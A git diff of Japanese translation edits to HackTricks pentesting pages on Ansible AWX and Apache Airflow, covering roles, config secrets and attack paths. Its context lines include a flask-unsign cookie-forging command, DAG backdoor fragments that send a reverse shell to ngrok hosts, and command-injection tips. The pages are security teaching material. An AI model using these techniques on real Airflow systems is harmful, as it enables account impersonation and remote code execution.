diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md index 09f1a6674..34a805ccc 100644 --- a/src/banners/hacktricks-training.md +++ b/src/banners/hacktricks-training.md @@ -6,8 +6,8 @@ > > HackTricksをサポートする > -> - [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! +> - [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! > - **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォローしてください。** -> - **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** +> - **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。** > > diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md index ae47230f8..6f2ee4336 100644 --- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md +++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md @@ -4,7 +4,7 @@ ## 基本情報 -**Ansible Tower** またはそのオープンソース版 [**AWX**](https://github.com/ansible/awx) は、**Ansibleのユーザーインターフェース、ダッシュボード、REST API** として知られています。**ロールベースのアクセス制御**、ジョブスケジューリング、グラフィカルなインベントリ管理を使用して、最新のUIからAnsibleインフラストラクチャを管理できます。TowerのREST APIとコマンドラインインターフェースにより、現在のツールやワークフローに簡単に統合できます。 +**Ansible Tower** またはそのオープンソース版 [**AWX**](https://github.com/ansible/awx) は、**Ansibleのユーザーインターフェース、ダッシュボード、REST API** としても知られています。**ロールベースのアクセス制御**、ジョブスケジューリング、グラフィカルなインベントリ管理を使用して、最新のUIからAnsibleインフラストラクチャを管理できます。TowerのREST APIとコマンドラインインターフェースにより、現在のツールやワークフローに簡単に統合できます。 **Automation Controllerは新しい** バージョンのAnsible Towerで、より多くの機能を備えています。 @@ -15,19 +15,19 @@ ### テクノロジースタック - **Webインターフェース**: これは、ユーザーがインベントリ、資格情報、テンプレート、ジョブを管理できるグラフィカルインターフェースです。直感的に設計されており、オートメーションジョブの状態や結果を理解するのに役立つ視覚化を提供します。 -- **REST API**: Webインターフェースでできるすべてのことは、REST APIを介しても行えます。つまり、AWX/Towerを他のシステムと統合したり、インターフェースで通常実行するアクションをスクリプト化したりできます。 -- **データベース**: AWX/Towerは、構成、ジョブ結果、その他の必要な運用データを保存するためにデータベース(通常はPostgreSQL)を使用します。 +- **REST API**: Webインターフェースでできるすべてのことは、REST APIを介しても行えます。これにより、AWX/Towerを他のシステムと統合したり、インターフェースで通常実行するアクションをスクリプト化したりできます。 +- **データベース**: AWX/Towerは、設定、ジョブ結果、その他の必要な運用データを保存するためにデータベース(通常はPostgreSQL)を使用します。 - **RabbitMQ**: これは、AWX/Towerが異なるコンポーネント間、特にWebサービスとタスクランナー間で通信するために使用するメッセージングシステムです。 - **Redis**: Redisは、キャッシュおよびタスクキューのバックエンドとして機能します。 ### 論理コンポーネント -- **インベントリ**: インベントリは、**ジョブ**(Ansibleプレイブック)を**実行**できる**ホスト(またはノード)のコレクション**です。AWX/Towerは、インベントリを定義およびグループ化することを許可し、AWS、Azureなどの他のシステムから**ホストリストを取得する**動的インベントリもサポートしています。 +- **インベントリ**: インベントリは、**ジョブ**(Ansibleプレイブック)を**実行**できる**ホスト(またはノード)のコレクション**です。AWX/Towerでは、インベントリを定義してグループ化でき、AWS、Azureなどの他のシステムから**ホストリストを取得する**動的インベントリもサポートしています。 - **プロジェクト**: プロジェクトは、**バージョン管理システム**(Gitなど)から取得した**Ansibleプレイブックのコレクション**です。必要に応じて最新のプレイブックを取得します。 - **テンプレート**: ジョブテンプレートは、**特定のプレイブックがどのように実行されるか**を定義し、ジョブのための**インベントリ**、**資格情報**、およびその他の**パラメータ**を指定します。 - **資格情報**: AWX/Towerは、SSHキー、パスワード、APIトークンなどの秘密を**管理および保存する**安全な方法を提供します。これらの資格情報は、プレイブックが実行されるときに必要なアクセスを持つように、ジョブテンプレートに関連付けることができます。 -- **タスクエンジン**: ここで魔法が起こります。タスクエンジンはAnsibleに基づいて構築されており、**プレイブックを実行する**責任があります。ジョブはタスクエンジンに送信され、指定されたインベントリに対して指定された資格情報を使用してAnsibleプレイブックが実行されます。 -- **スケジューラーとコールバック**: これらはAWX/Towerの高度な機能で、**ジョブを特定の時間にスケジュール**したり、外部イベントによってトリガーしたりできます。 +- **タスクエンジン**: ここで魔法が起こります。タスクエンジンはAnsibleに基づいて構築されており、**プレイブックを実行する**責任があります。ジョブはタスクエンジンに送信され、指定されたインベントリに対して指定された資格情報を使用してAnsibleプレイブックを実行します。 +- **スケジューラーとコールバック**: これらは、特定の時間にジョブを**スケジュール**したり、外部イベントによってトリガーしたりすることを可能にするAWX/Towerの高度な機能です。 - **通知**: AWX/Towerは、ジョブの成功または失敗に基づいて通知を送信できます。メール、Slackメッセージ、Webhookなど、さまざまな通知手段をサポートしています。 - **Ansibleプレイブック**: Ansibleプレイブックは、構成、デプロイメント、およびオーケストレーションツールです。自動化された再現可能な方法でシステムの望ましい状態を記述します。YAMLで記述され、プレイブックはAnsibleの宣言型自動化言語を使用して、実行する必要がある構成、タスク、およびステップを記述します。 @@ -48,11 +48,11 @@ 5. **ジョブ結果**: - プレイブックの実行が終了すると、結果(成功、失敗、ログ)が**データベース**に保存されます。 - ユーザーは、Webインターフェースを介して結果を表示したり、REST APIを介してクエリを実行したりできます。 -- ジョブの結果に基づいて、**通知**が送信され、ユーザーや外部システムにジョブの状態を通知できます。通知はメール、Slackメッセージ、Webhookなどです。 +- ジョブの結果に基づいて、**通知**が送信され、ユーザーや外部システムにジョブの状態を通知できます。通知は、メール、Slackメッセージ、Webhookなどです。 6. **外部システムとの統合**: - **インベントリ**は外部システムから動的に取得でき、AWX/TowerはAWS、Azure、VMwareなどのソースからホストを取得できます。 - **プロジェクト**(プレイブック)はバージョン管理システムから取得でき、ジョブ実行中に最新のプレイブックを使用することが保証されます。 -- **スケジューラーとコールバック**は、他のシステムやツールと統合するために使用でき、AWX/Towerが外部トリガーに反応したり、事前に決められた時間にジョブを実行したりします。 +- **スケジューラーとコールバック**は、他のシステムやツールと統合するために使用でき、AWX/Towerが外部トリガーに反応したり、事前に決められた時間にジョブを実行したりすることができます。 ### AWXラボの作成とテスト @@ -84,53 +84,53 @@ docker exec tools_awx_1 awx-manage create_preload_data ``` ## RBAC -### Supported roles +### サポートされている役割 -最も特権のある役割は**System Administrator**と呼ばれています。この役割を持つ者は**何でも変更することができます**。 +最も特権のある役割は**システム管理者**と呼ばれます。この役割を持つ者は**何でも変更することができます**。 -**ホワイトボックスセキュリティ**レビューでは、**System Auditor role**が必要で、これにより**すべてのシステムデータを表示**できますが、変更はできません。別の選択肢として**Organization Auditor role**を取得することもできますが、前者を取得する方が良いでしょう。 +**ホワイトボックスセキュリティ**レビューでは、**システム監査役**が必要で、これにより**すべてのシステムデータを表示**できますが、変更はできません。もう一つの選択肢は**組織監査役**を取得することですが、前者を取得する方が良いでしょう。
利用可能な役割の詳細な説明を表示するにはここを展開してください -1. **System Administrator**: +1. **システム管理者**: - これは、システム内の任意のリソースにアクセスし、変更する権限を持つスーパーユーザーの役割です。 - 彼らはすべての組織、チーム、プロジェクト、インベントリ、ジョブテンプレートなどを管理できます。 -2. **System Auditor**: -- この役割を持つユーザーは、すべてのシステムデータを表示できますが、変更はできません。 -- この役割は、コンプライアンスと監視のために設計されています。 -3. **Organization Roles**: -- **Admin**: 組織のリソースに対する完全な制御。 -- **Auditor**: 組織のリソースへの表示専用アクセス。 -- **Member**: 特定の権限なしで組織の基本メンバーシップ。 -- **Execute**: 組織内でジョブテンプレートを実行できます。 -- **Read**: 組織のリソースを表示できます。 -4. **Project Roles**: -- **Admin**: プロジェクトを管理および変更できます。 -- **Use**: ジョブテンプレートでプロジェクトを使用できます。 -- **Update**: SCM(ソース管理)を使用してプロジェクトを更新できます。 -5. **Inventory Roles**: -- **Admin**: インベントリを管理および変更できます。 -- **Ad Hoc**: インベントリ上でアドホックコマンドを実行できます。 -- **Update**: インベントリソースを更新できます。 -- **Use**: ジョブテンプレートでインベントリを使用できます。 -- **Read**: 表示専用アクセス。 -6. **Job Template Roles**: -- **Admin**: ジョブテンプレートを管理および変更できます。 -- **Execute**: ジョブを実行できます。 -- **Read**: 表示専用アクセス。 -7. **Credential Roles**: -- **Admin**: 資格情報を管理および変更できます。 -- **Use**: ジョブテンプレートやその他の関連リソースで資格情報を使用できます。 -- **Read**: 表示専用アクセス。 -8. **Team Roles**: -- **Member**: チームの一部ですが、特定の権限はありません。 -- **Admin**: チームのメンバーと関連リソースを管理できます。 -9. **Workflow Roles**: -- **Admin**: ワークフローを管理および変更できます。 -- **Execute**: ワークフローを実行できます。 -- **Read**: 表示専用アクセス。 +2. **システム監査役**: +- この役割を持つユーザーはすべてのシステムデータを表示できますが、変更はできません。 +- この役割はコンプライアンスと監視のために設計されています。 +3. **組織の役割**: +- **管理者**: 組織のリソースに対する完全な制御。 +- **監査役**: 組織のリソースへの表示専用アクセス。 +- **メンバー**: 特定の権限なしで組織の基本メンバーシップ。 +- **実行**: 組織内でジョブテンプレートを実行できます。 +- **読み取り**: 組織のリソースを表示できます。 +4. **プロジェクトの役割**: +- **管理者**: プロジェクトを管理および変更できます。 +- **使用**: ジョブテンプレートでプロジェクトを使用できます。 +- **更新**: SCM(ソース管理)を使用してプロジェクトを更新できます。 +5. **インベントリの役割**: +- **管理者**: インベントリを管理および変更できます。 +- **アドホック**: インベントリに対してアドホックコマンドを実行できます。 +- **更新**: インベントリソースを更新できます。 +- **使用**: ジョブテンプレートでインベントリを使用できます。 +- **読み取り**: 表示専用アクセス。 +6. **ジョブテンプレートの役割**: +- **管理者**: ジョブテンプレートを管理および変更できます。 +- **実行**: ジョブを実行できます。 +- **読み取り**: 表示専用アクセス。 +7. **資格情報の役割**: +- **管理者**: 資格情報を管理および変更できます。 +- **使用**: ジョブテンプレートやその他の関連リソースで資格情報を使用できます。 +- **読み取り**: 表示専用アクセス。 +8. **チームの役割**: +- **メンバー**: チームの一部ですが、特定の権限はありません。 +- **管理者**: チームのメンバーと関連リソースを管理できます。 +9. **ワークフローの役割**: +- **管理者**: ワークフローを管理および変更できます。 +- **実行**: ワークフローを実行できます。 +- **読み取り**: 表示専用アクセス。
diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md index a056de823..33cc2b8d4 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/README.md +++ b/src/pentesting-ci-cd/apache-airflow-security/README.md @@ -4,7 +4,7 @@ ### 基本情報 -[**Apache Airflow**](https://airflow.apache.org) は、**データパイプラインやワークフローのオーケストレーションとスケジューリングのためのプラットフォーム**です。「オーケストレーション」という用語は、データパイプラインの文脈において、さまざまなソースからの複雑なデータワークフローを整理、調整、管理するプロセスを指します。これらのオーケストレーションされたデータパイプラインの主な目的は、処理された消費可能なデータセットを提供することです。これらのデータセットは、ビジネスインテリジェンスツール、データサイエンス、機械学習モデルなど、さまざまなアプリケーションで広く利用されており、ビッグデータアプリケーションの機能にとって基盤となっています。 +[**Apache Airflow**](https://airflow.apache.org) は、**データパイプラインやワークフローのオーケストレーションとスケジューリング**のためのプラットフォームとして機能します。データパイプラインの文脈における「オーケストレーション」という用語は、さまざまなソースからの複雑なデータワークフローを整理、調整、管理するプロセスを指します。これらのオーケストレーションされたデータパイプラインの主な目的は、処理された消費可能なデータセットを提供することです。これらのデータセットは、ビジネスインテリジェンスツール、データサイエンス、機械学習モデルなど、さまざまなアプリケーションで広く利用されており、ビッグデータアプリケーションの機能にとって基盤となっています。 基本的に、Apache Airflowは、**何かが起こったときにコードの実行をスケジュールすることを可能にします**(イベント、cron)。 @@ -12,11 +12,11 @@ #### Docker-Compose -[**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) からの**docker-compose設定ファイルを使用して**、完全なapache airflow docker環境を起動できます。(MacOSを使用している場合は、docker VMに少なくとも6GBのRAMを割り当ててください)。 +[**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) からの**docker-compose設定ファイルを使用して**、完全なapache airflow docker環境を起動できます。(MacOSを使用している場合は、docker VMに少なくとも6GBのRAMを割り当てることを確認してください)。 #### Minikube -**apache airflowを実行する簡単な方法**は、**minikubeで実行することです**: +**apache airflowを実行する**簡単な方法の一つは、**minikubeで実行することです**: ```bash helm repo add airflow-stable https://airflow-helm.github.io/charts helm repo update @@ -28,7 +28,7 @@ helm delete airflow-release ``` ### Airflowの設定 -Airflowはその設定に**機密情報**を保存する可能性があるか、または弱い設定が存在する場合があります: +Airflowはその設定に**機密情報**を保存する可能性があり、または弱い設定が存在することがあります: {{#ref}} airflow-configuration.md @@ -63,21 +63,21 @@ AirflowはデフォルトでGUIに変数の値を表示しますが、[**これ* ![](<../../images/image (164).png>) しかし、これらの**値**は**CLI**(DBアクセスが必要)、**任意のDAG**の実行、**API**を介して変数エンドポイントにアクセスすること(APIは有効化する必要があります)、さらには**GUI自体**からも**取得**できます!\ -GUIからこれらの値にアクセスするには、**アクセスしたい変数を選択**し、**アクション -> エクスポート**をクリックします。\ -別の方法は、**検索フィルタリング**を使用して**隠された値**に対して**ブルートフォース**を実行し、取得することです: +GUIからこれらの値にアクセスするには、アクセスしたい**変数を選択**し、**アクション -> エクスポート**をクリックします。\ +別の方法は、**検索フィルタリング**を使用して**隠された値**に対して**ブルートフォース**を行い、それを取得することです: ![](<../../images/image (152).png>) #### 権限昇格 -**`expose_config`**設定が**True**に設定されている場合、**ユーザー役割**以上の役割から**ウェブで設定を読む**ことができます。この設定には**`secret_key`**が含まれており、これにより有効なユーザーは**他のユーザーアカウントを偽装するための独自の署名付きクッキーを作成**できます。 +**`expose_config`**設定が**True**に設定されている場合、**ユーザー役割**以上の権限を持つ者は**ウェブで設定を読み取る**ことができます。この設定には**`secret_key`**が含まれており、これに有効なユーザーは**他のユーザーアカウントを偽装するための独自の署名付きクッキーを作成**できます。 ```bash flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}" ``` -#### DAG バックドア (Airflow ワーカーにおける RCE) +#### DAG Backdoor (RCE in Airflow worker) -もし **DAG が保存されている場所** に **書き込みアクセス** がある場合、あなたは単に **一つを作成** して **リバースシェル** を送信することができます。\ -このリバースシェルは **airflow ワーカーコンテナ** 内で実行されることに注意してください: +もし**DAGが保存されている場所**に**書き込みアクセス**がある場合、**リバースシェルを送信する**ものを**作成する**ことができます。\ +このリバースシェルは**airflow worker container**内で実行されることに注意してください: ```python import pendulum from airflow import DAG @@ -118,7 +118,7 @@ op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433} ``` #### DAG バックドア (Airflow スケジューラにおける RCE) -コードの**ルートで実行されるように設定**した場合、執筆時点では、それはDAGのフォルダに配置してから数秒後に**スケジューラによって実行されます**。 +コードのルートで何かを**実行するように設定**すると、この記事を書いている時点で、それは**スケジューラによって実行されます**。DAG のフォルダに配置してから数秒後に実行されます。 ```python import pendulum, socket, os, pty from airflow import DAG @@ -144,15 +144,15 @@ op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144} ``` #### DAGの作成 -もしあなたが**DAGクラスター内のマシンを侵害することに成功すれば**、`dags/`フォルダーに新しい**DAGスクリプト**を作成でき、それらは**DAGクラスター内の他のマシンに複製されます**。 +もし**DAGクラスター内のマシンを侵害することができれば**、`dags/`フォルダーに新しい**DAGスクリプト**を作成でき、それが**DAGクラスター内の他のマシンに複製されます**。 #### DAGコードインジェクション -GUIからDAGを実行すると、**引数**を渡すことができます。\ +GUIからDAGを実行するときに**引数を渡す**ことができます。\ したがって、DAGが適切にコーディングされていない場合、**コマンドインジェクションに対して脆弱である可能性があります。**\ これがこのCVEで起こったことです: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927) -**DAG内のコマンドインジェクションを探し始めるために知っておくべきこと**は、**パラメータ**が**コード`dag_run.conf.get("param_name")`**で**アクセスされる**ということです。 +**DAG内のコマンドインジェクションを探し始めるために知っておくべきことは**、**パラメータ**が**コード`dag_run.conf.get("param_name")`で**アクセスされるということです。 さらに、同じ脆弱性が**変数**にも発生する可能性があります(十分な権限があれば、GUIで**変数の値を制御できる**ことに注意してください)。変数は**次のようにアクセスされます**: ```python @@ -160,6 +160,6 @@ from airflow.models import Variable [...] foo = Variable.get("foo") ``` -もしそれらが例えばbashコマンド内で使用されると、コマンドインジェクションを実行することができます。 +例えば、bashコマンド内で使用される場合、コマンドインジェクションを実行することができます。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md index 1bffb900e..b5757b1b7 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md @@ -4,14 +4,14 @@ ## Configuration File -**Apache Airflow** は、すべての Airflow マシンに **`airflow.cfg`** という **config file** を生成します。この config file は設定情報を含み、**興味深く、機密性の高い情報を含む可能性があります。** +**Apache Airflow** は、すべての airflow マシンに **`airflow.cfg`** という **config file** を生成します。この config file は、設定情報を含み、**興味深く、機密性の高い情報を含む可能性があります。** -**このファイルにアクセスする方法は2つあります:Airflow マシンを侵害するか、ウェブコンソールにアクセスすることです。** +**このファイルにアクセスする方法は2つあります:airflow マシンを侵害するか、ウェブコンソールにアクセスすることです。** -**config file 内の値** **は使用されているものとは異なる可能性がある**ことに注意してください。環境変数を設定することで上書きできます。例えば、`AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`。 +**config file 内の値** は **使用されているものではない可能性がある**ことに注意してください。環境変数を設定することで上書きできます。例えば、`AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`。 **ウェブサーバーの config file にアクセスできる場合**、同じページで表示されている **実際の実行設定** を確認できます。\ -**Airflow 環境内のマシンにアクセスできる場合**、**環境**を確認してください。 +**airflow 環境内のマシンにアクセスできる場合**、**環境**を確認してください。 config file を読む際に確認すべき興味深い値: @@ -20,14 +20,14 @@ config file を読む際に確認すべき興味深い値: - **`access_control_allow_headers`**: これは **CORS** のための **許可された** **ヘッダー** を示します - **`access_control_allow_methods`**: これは **CORS** のための **許可されたメソッド** を示します - **`access_control_allow_origins`**: これは **CORS** のための **許可されたオリジン** を示します -- **`auth_backend`**: [**ドキュメントによると**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) API へのアクセスを設定するためのいくつかのオプションがあります: +- **`auth_backend`**: [**ドキュメントによると**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html)、API にアクセスできるユーザーを設定するためのいくつかのオプションがあります: - `airflow.api.auth.backend.deny_all`: **デフォルトでは誰も** API にアクセスできません - `airflow.api.auth.backend.default`: **誰でも** 認証なしでアクセスできます -- `airflow.api.auth.backend.kerberos_auth`: **Kerberos 認証** を設定するため +- `airflow.api.auth.backend.kerberos_auth`: **kerberos 認証** を設定するため - `airflow.api.auth.backend.basic_auth`: **基本認証** のため - `airflow.composer.api.backend.composer_auth`: 作成者の認証を使用します (GCP) ([**こちら**](https://cloud.google.com/composer/docs/access-airflow-api)から)。 -- `composer_auth_user_registration_role`: これは **Airflow** 内で **作成者ユーザー** が取得する **役割** を示します (**Op** がデフォルト)。 -- Python で **独自の認証** メソッドを作成することもできます。 +- `composer_auth_user_registration_role`: これは **composer ユーザー** が **airflow** 内で取得する **役割** を示します (**Op** がデフォルト)。 +- また、Python で **独自の認証** メソッドを作成することもできます。 - **`google_key_path`:** **GCP サービスアカウントキー** へのパス ### **\[atlas]** @@ -38,23 +38,23 @@ config file を読む際に確認すべき興味深い値: ### \[celery] - **`flower_basic_auth`** : 認証情報 (_user1:password1,user2:password2_) -- **`result_backend`**: **認証情報**を含む可能性のある Postgres URL。 +- **`result_backend`**: **認証情報** を含む可能性のある Postgres URL。 - **`ssl_cacert`**: cacert へのパス -- **`ssl_cert`**: cert へのパス -- **`ssl_key`**: key へのパス +- **`ssl_cert`**: 証明書へのパス +- **`ssl_key`**: キーへのパス ### \[core] - **`dag_discovery_safe_mode`**: デフォルトで有効。DAG を発見する際、`DAG` と `airflow` の文字列を含まないファイルは無視されます。 - **`fernet_key`**: 暗号化された変数を保存するためのキー (対称) - **`hide_sensitive_var_conn_fields`**: デフォルトで有効、接続の機密情報を隠します。 -- **`security`**: 使用するセキュリティモジュール (例えば Kerberos) +- **`security`**: 使用するセキュリティモジュール (例えば kerberos) ### \[dask] - **`tls_ca`**: ca へのパス -- **`tls_cert`**: cert へのパス -- **`tls_key`**: tls key へのパス +- **`tls_cert`**: 証明書へのパス +- **`tls_key`**: tls キーへのパス ### \[kerberos] @@ -81,22 +81,22 @@ config file を読む際に確認すべき興味深い値: - **`cookie_secure`**: セッション cookie に **secure flag** を設定します - **`expose_config`**: デフォルトは False で、true の場合、**config** はウェブ **console** から **読み取る** ことができます - **`expose_stacktrace`**: デフォルトでは True で、**python tracebacks** を表示します (攻撃者にとって潜在的に有用) -- **`secret_key`**: これは **Flask が cookie に署名するために使用するキー** です (これを持っていると **Airflow の任意のユーザーになりすます** ことができます) -- **`web_server_ssl_cert`**: **SSL** **cert** への **パス** -- **`web_server_ssl_key`**: **SSL** **Key** への **パス** +- **`secret_key`**: これは **flask が cookie に署名するために使用するキー** です (これを持っていると、**Airflow の任意のユーザーを偽装**できます) +- **`web_server_ssl_cert`**: **SSL** **証明書** への **パス** +- **`web_server_ssl_key`**: **SSL** **キー** への **パス** - **`x_frame_enabled`**: デフォルトは **True** で、デフォルトではクリックジャッキングは不可能です ### Web Authentication -デフォルトでは **web authentication** は **`webserver_config.py`** ファイルに指定され、設定されています。 +デフォルトでは **web authentication** は **`webserver_config.py`** ファイルに指定され、次のように設定されています。 ```bash AUTH_TYPE = AUTH_DB ``` -つまり、**認証はデータベースに対してチェックされます**。ただし、他の設定も可能です。 +これは、**認証がデータベースに対してチェックされる**ことを意味します。ただし、他の構成も可能です。 ```bash AUTH_TYPE = AUTH_OAUTH ``` -**認証を第三者サービスに委ねる**ために。 +**認証をサードパーティサービスに委ねる**こと。 ただし、**匿名ユーザーのアクセスを許可する**オプションもあり、次のパラメータを**希望するロール**に設定します: ```bash diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md index 5ce3059c6..9396a9d3f 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md @@ -4,13 +4,13 @@ ## RBAC -(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflowはデフォルトで**一連の役割**を提供します:**Admin**、**User**、**Op**、**Viewer**、および**Public**。**`Admin`**ユーザーのみが**他の役割の権限を設定/変更**できます。しかし、`Admin`ユーザーがこれらのデフォルトの役割を変更することは推奨されません。 +(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflowにはデフォルトで**一連の役割**が付属しています:**Admin**、**User**、**Op**、**Viewer**、および**Public**。**`Admin`**ユーザーのみが**他の役割の権限を設定/変更**できます。しかし、`Admin`ユーザーがこれらのデフォルトの役割を変更することは推奨されません。 - **`Admin`**ユーザーはすべての権限を持っています。 - **`Public`**ユーザー(匿名)は権限を持っていません。 - **`Viewer`**ユーザーは制限された閲覧権限(読み取りのみ)を持っています。**設定を表示できません。** - **`User`**ユーザーは`Viewer`権限に加えて、DAGを少し管理するための追加のユーザー権限を持っています。彼は**設定ファイルを表示できます。** -- **`Op`**ユーザーは`User`権限に加えて、追加のオペレーター権限を持っています。 +- **`Op`**ユーザーは`User`権限に加えて、追加のオペレーション権限を持っています。 **admin**ユーザーは**より細かい権限を持つ役割を作成**できることに注意してください。 @@ -22,19 +22,19 @@ - **Admin** -\[Connectionsで削除、Connectionsで読み取り、Connectionsで編集、Connectionsで作成、DAGsで読み取り、DAGsで編集、DAGsで削除、DAG Runsで読み取り、Task Instancesで読み取り、Task Instancesで編集、DAG Runsで削除、DAG Runsで作成、DAG Runsで編集、Audit Logsで読み取り、ImportErrorで読み取り、Poolsで削除、Poolsで読み取り、Poolsで編集、Poolsで作成、Providersで読み取り、Variablesで削除、Variablesで読み取り、Variablesで編集、Variablesで作成、XComsで読み取り、DAG Codeで読み取り、Configurationsで読み取り、Pluginsで読み取り、Rolesで読み取り、Permissionsで読み取り、Rolesで削除、Rolesで編集、Rolesで作成、Usersで読み取り、Usersで作成、Usersで編集、Usersで削除、DAG Dependenciesで読み取り、Jobsで読み取り、My Passwordで読み取り、My Passwordで編集、My Profileで読み取り、My Profileで編集、SLA Missesで読み取り、Task Logsで読み取り、Websiteで読み取り、Browseへのメニューアクセス、DAG Dependenciesへのメニューアクセス、DAG Runsへのメニューアクセス、Documentationへのメニューアクセス、Docsへのメニューアクセス、Jobsへのメニューアクセス、Audit Logsへのメニューアクセス、Pluginsへのメニューアクセス、SLA Missesへのメニューアクセス、Task Instancesへのメニューアクセス、Task Instancesで作成、Task Instancesで削除、Adminへのメニューアクセス、Configurationsへのメニューアクセス、Connectionsへのメニューアクセス、Poolsへのメニューアクセス、Variablesへのメニューアクセス、XComsへのメニューアクセス、XComsで削除、Task Reschedulesで読み取り、Task Reschedulesへのメニューアクセス、Triggersで読み取り、Triggersへのメニューアクセス、Passwordsで読み取り、Passwordsで編集、List Usersへのメニューアクセス、Securityへのメニューアクセス、List Rolesへのメニューアクセス、User Stats Chartで読み取り、User's Statisticsへのメニューアクセス、Base Permissionsへのメニューアクセス、View Menusで読み取り、Views/Menusへのメニューアクセス、Permission Viewsで読み取り、Views/MenusのPermissionへのメニューアクセス、MenuApiで取得、Providersへのメニューアクセス、XComsで作成] +\[Connectionsの削除、Connectionsの読み取り、Connectionsの編集、Connectionsの作成、DAGsの読み取り、DAGsの編集、DAGsの削除、DAG Runsの読み取り、Task Instancesの読み取り、Task Instancesの編集、DAG Runsの削除、DAG Runsの作成、DAG Runsの編集、Audit Logsの読み取り、ImportErrorの読み取り、Poolsの削除、Poolsの読み取り、Poolsの編集、Poolsの作成、Providersの読み取り、Variablesの削除、Variablesの読み取り、Variablesの編集、Variablesの作成、XComsの読み取り、DAG Codeの読み取り、Configurationsの読み取り、Pluginsの読み取り、Rolesの読み取り、Permissionsの読み取り、Rolesの削除、Rolesの編集、Rolesの作成、Usersの読み取り、Usersの作成、Usersの編集、Usersの削除、DAG Dependenciesの読み取り、Jobsの読み取り、My Passwordの読み取り、My Passwordの編集、My Profileの読み取り、My Profileの編集、SLA Missesの読み取り、Task Logsの読み取り、Websiteの読み取り、Browseのメニューアクセス、DAG Dependenciesのメニューアクセス、DAG Runsのメニューアクセス、Documentationのメニューアクセス、Docsのメニューアクセス、Jobsのメニューアクセス、Audit Logsのメニューアクセス、Pluginsのメニューアクセス、SLA Missesのメニューアクセス、Task Instancesのメニューアクセス、Task Instancesの作成、Task Instancesの削除、Adminのメニューアクセス、Configurationsのメニューアクセス、Connectionsのメニューアクセス、Poolsのメニューアクセス、Variablesのメニューアクセス、XComsのメニューアクセス、XComsの削除、Task Reschedulesの読み取り、Task Reschedulesのメニューアクセス、Triggersの読み取り、Triggersのメニューアクセス、Passwordsの読み取り、Passwordsの編集、List Usersのメニューアクセス、Securityのメニューアクセス、List Rolesのメニューアクセス、User Stats Chartの読み取り、User's Statisticsのメニューアクセス、Base Permissionsのメニューアクセス、View Menusの読み取り、Views/Menusのメニューアクセス、Permission Viewsの読み取り、Permission on Views/Menusのメニューアクセス、MenuApiの取得、Providersのメニューアクセス、XComsの作成] - **Op** -\[Connectionsで削除、Connectionsで読み取り、Connectionsで編集、Connectionsで作成、DAGsで読み取り、DAGsで編集、DAGsで削除、DAG Runsで読み取り、Task Instancesで読み取り、Task Instancesで編集、DAG Runsで削除、DAG Runsで作成、DAG Runsで編集、Audit Logsで読み取り、ImportErrorで読み取り、Poolsで削除、Poolsで読み取り、Poolsで編集、Poolsで作成、Providersで読み取り、Variablesで削除、Variablesで読み取り、Variablesで編集、Variablesで作成、XComsで読み取り、DAG Codeで読み取り、Configurationsで読み取り、Pluginsで読み取り、DAG Dependenciesで読み取り、Jobsで読み取り、My Passwordで読み取り、My Passwordで編集、My Profileで読み取り、My Profileで編集、SLA Missesで読み取り、Task Logsで読み取り、Websiteで読み取り、Browseへのメニューアクセス、DAG Dependenciesへのメニューアクセス、DAG Runsへのメニューアクセス、Documentationへのメニューアクセス、Docsへのメニューアクセス、Jobsへのメニューアクセス、Audit Logsへのメニューアクセス、Pluginsへのメニューアクセス、SLA Missesへのメニューアクセス、Task Instancesへのメニューアクセス、Task Instancesで作成、Task 